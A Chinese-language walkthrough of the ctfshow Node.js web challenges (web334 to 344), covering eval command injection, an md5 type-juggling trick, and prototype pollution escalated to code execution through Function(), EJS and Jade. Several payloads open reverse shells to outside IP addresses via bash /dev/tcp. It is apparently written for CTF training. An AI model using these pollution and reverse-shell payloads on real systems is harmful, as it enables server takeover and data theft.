ctfshow-nodejs

1. web334

var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;  });
};

module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};
  • 名字不等于 CTFSHOW
  • 名字.toUpperCase()等于CTFSHOW
  • 密码等于 123456

2. web335

/?eval={root.process.mainModule.require('child_process').spawnSync('cat',+['fl00g.txt']).stdout}

3. web336

/?eval={root.process.mainModule.require('child_process').spawnSync('cat',+['fl001g.txt']).stdout}

4. web337

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

要求

  • a.length === b.length
  • a!== b
  • md5(a+flag) === md5(b+flag)

这里考察了一个nodejs的特性

if a = ['1']:
then a.toString()= '1'

Pasted image 20260216195658.png

> let flag ='flag'

> console.log(['1']+flag)
1flag

> console.log('1'+flag)
1flag

> console.log(1+flag)
1flag

总结:

  • 字符串+字符串是拼接
  • 数字+字符串也是拼接
?a[]=1&b=1

5. web338(原型链污染)

function copy(object1, object2){    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])        } else {
            object1[key] = object2[key]        }
    }
}
  • 这个copy函数十分危险,它因为没有对 __proto__进行过滤,导致可以对类进行原型链污染,只需要我们为key __proto__ 进行赋值即可

利用分析

var secert = {};
var sess = req.session;
let user = {};
utils.copy(user, req.body);       // ← 用户输入直接传入 copyif(secert.ctfshow === '36dboy'){   // ← 需要 secert.ctfshow 等于 '36dboy'
    res.end(flag);
}
  • user 是空对象 {}req.body 是我们可控的 JSON 输入
  • copy(user, req.body) 会递归合并,如果我们传入 proto 键,就能污染 Object.prototype
  • secert 也是空对象 {},它本身没有 ctfshow 属性,但如果我们污染了 Object.prototype.ctfshow,那么 secert.ctfshow 就会沿原型链找到被污染的值

利用过程
/login 发送 POST 请求,Content-Typeapplication/json body 为:

{
    "__proto__": {
        "ctfshow": "36dboy"
    }
}

当copy(user,req.body)执行的时候:

  • proto in user 为 true(因为所有对象都有 proto),进入递归
  • 递归中 ctfshow 不在 user.__proto__(即 Object.prototype)中,走 else 分支
  • 执行 Object.prototype.ctfshow = '36dboy'
  • 之后 secert.ctfshow 通过原型链查找,得到 '36dboy',条件成立,返回 flag
PS C:\Users\Administrator> curl -X POST  https://09997963-43d5-499d-ab3f-2dc225673840.challenge.ctf.show/login -H "Content-Type:application/json" -d '{"__proto__":{"ctfshow":"36dboy"}}'
ctfshow{307a608e-3e78-4c29-a06a-0abaddc8b70b}

6. web339 (原型链污染 RCE)

common.js中可以发现同样的漏洞代码

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

再看一下这个获取flag的条件

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);  if(secert.ctfshow===flag){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

漏洞和上面的如出一辙,直接把 req.body的内容传给了copy函数,在req.body中传入__proto__ 键即可实现污染object.secert.ctfshow

PS C:\Users\Administrator> curl -k -X POST  https://3bef9a0b-1992-410b-8cda-5bce673cd399.challenge.ctf.show/login -H "Content-Type:application/json" -d '{"__proto__":{"ctfshow":"flag_here"}}'

但是经过测试没有效果,原因是这个flag的值我们是不知道的

api.js当中,给了我们实现RCE的可能

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});   
});

这里可以发现 query 变量未定义。通过原型链污染注入 query 属性后,即可实现RCE

{"__proto__":{"query":"return process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/120.46.41.173/9023 0>&1\"')"}}
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.71.111.64/4444 0>&1\"')"}}

这里参考文章中给出的payload反弹shell即可

POST /login HTTP/1.1
Host: 466a1f2f-2a5b-4bb0-99a7-8454a51c9302.challenge.ctf.show
Content-Length: 157
Sec-Ch-Ua-Platform: "Windows"
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Sec-Ch-Ua: "Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
Origin: https://466a1f2f-2a5b-4bb0-99a7-8454a51c9302.challenge.ctf.show
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://466a1f2f-2a5b-4bb0-99a7-8454a51c9302.challenge.ctf.show/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i
Connection: keep-alive

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.71.111.64/4444 0>&1\"')"}}

先对 query属性进行污染,然后访问api 触发payload

7. web340(污染两次)

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);  if(user.userinfo.isAdmin){   res.end(flag);  }else{
   return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }
  
  
});

这里需要污染isAdmin 属性,才能获取到flag,但是因为userinfo.isAdmin 已经被设置为了flase,所以我们无法进行污染。

还是看看RCE吧

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});   
});

这里需要污染到Object.query ,我们目前只能从userinfo 开始污染,userinfo的上一级是user 在上一级才是object.所以需要污染两次

触发 RCE

原型链污染路径

攻击 Payload

POST /login

proto

proto

所有对象继承

{
proto: {
proto: {
query: 'return 123'
}
}

user.userinfo
──────────
isVIP: false
isAdmin: false
isAuthor: false
──────────
copy() 起点

user.proto
──────────
第1次 proto
递归进入

Object.prototype
──────────
第2次 proto
query = 'return 123'

/api 路由
Function(query)(query)
读取到污染的 query

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.71.111.64/4444 0>&1\"')"}}}

8. web341 (EJS模板漏洞)

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  };
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
    return res.json({ret_code: 0, ret_msg: '登录成功'});  
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }
  
});

依旧无法污染user.userinfo.isAdmin,也没有能明显触发RCE的地方

安装snyk进行扫描

npm install -g snyk
PS C:\Users\Administrator\Downloads\web340> snyk test

Testing C:\Users\Administrator\Downloads\web340...

  Upgrade ejs@3.1.5 to ejs@3.1.10 to fix
Improper Control of Dynamically-Managed Code Resources [Medium Severity][https://security.snyk.io/vuln/SNYK-JS-EJS-6689533] in ejs@3.1.5
    introduced by ejs@3.1.5
Arbitrary Code Injection [Medium Severity][https://security.snyk.io/vuln/SNYK-JS-EJS-1049328] in ejs@3.1.5
    introduced by ejs@3.1.5
Remote Code Execution (RCE) [High Severity][https://security.snyk.io/vuln/SNYK-JS-EJS-2803307] in ejs@3.1.5    introduced by ejs@3.1.5

可以发现存在ejs这个组件的漏洞,项目直接引入了这个模板引擎

var ejs = require('ejs');

这里还是需要整两次污染

第1次 __proto__:  userinfo.__proto__  →  指向 userinfo 的构造函数原型
第2次 __proto__:  再往上一级          →  Object.prototype
{"__proto__":{"__proto__":{"outputFunctionName":"a; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/124.71.111.64/4444 0>&1\"'); //"}}}  

9. web342&343

打 Jade 的 AST 注入,直接copy了

{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.71.111.64/4444 0>&1\"')"}}}

10. web344

router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }

});

这里需要满足三个条件,过滤了逗号。
在url中可以使用&在一定程度上来替代逗号

?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

11. References: